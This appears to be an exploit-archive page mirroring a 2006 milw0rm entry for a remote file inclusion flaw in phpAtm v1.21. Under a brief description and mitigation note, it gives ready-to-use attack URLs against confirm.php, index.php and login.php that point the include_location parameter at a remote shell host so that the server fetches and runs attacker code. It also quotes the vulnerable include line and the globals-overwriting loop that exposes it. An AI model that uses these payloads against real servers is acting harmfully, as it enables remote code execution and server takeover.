phpAtm - exploit.company

vendor:

phpAtm

by:

KinSize [MHG Security Team]

N/A

CVSS

N/A

Remote File Inclusion

CWE

Product Name: phpAtm

Affected Version From: v1.21

Affected Version To: v1.21

Patch Exists: YES

Related CWE: N/A

CPE: a:phpatm:phpatm

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux, Mac

2006

phpAtm <= v1.21 (include_location) Remote File Inclusion Exploit

phpAtm version 1.21 is vulnerable to a remote file inclusion vulnerability due to the use of the include_location parameter in the confirm.php, index.php and login.php scripts. An attacker can exploit this vulnerability by sending a malicious URL in the include_location parameter. This will allow the attacker to execute arbitrary code on the vulnerable server.

Mitigation:

The best way to mitigate this vulnerability is to ensure that the include_location parameter is properly sanitized and validated before being used in the include() function.

Source

Exploit-DB raw data:

########################################################################
#  phpAtm <= v1.21 (include_location) Remote File Inclusion Exploit
#   
#   Level : Dangerous        
#   Download  : http://phpatm.free.fr/
#   Version : v1.21  
#   
#                           Found By: KinSize [MHG Security Team]
#
########################################################################
# Code :   include($include_location.'include/conf.php');
#
#  exploit:
# http://www.sitename.com/[script_path]/confirm.php?include_location=http://shellurl.com ?   
# http://www.sitename.com/[script_path]/index.php?include_location=http://shellurl.com ?    
# http://www.sitename.com/[script_path]/login.php?include_location=http://shellurl.com ?
########################################################################
#
#Conatact : nefretaskimdir[at]gmail.com
#
# GreetZ : Damage-N | by_emr3  | by_OkSit  | ESKOBAR  | Ye.iL  | PowerCobra  | sys-worm(Turkish)| Z e b e r u S | ALL Turkish & MusLim
########################################################################

Added information:

At first glance this doesn't look vulnerable but then again:

line 85-94 of common.php
while (list(, $arr) = each($sysarr))
{
        if (is_array($arr))
        {
                while (list($key, $value) = each($arr))
                {
                        $GLOBALS[$key] = $value;
                }
        }
}

/str0ke

# milw0rm.com [2006-08-30]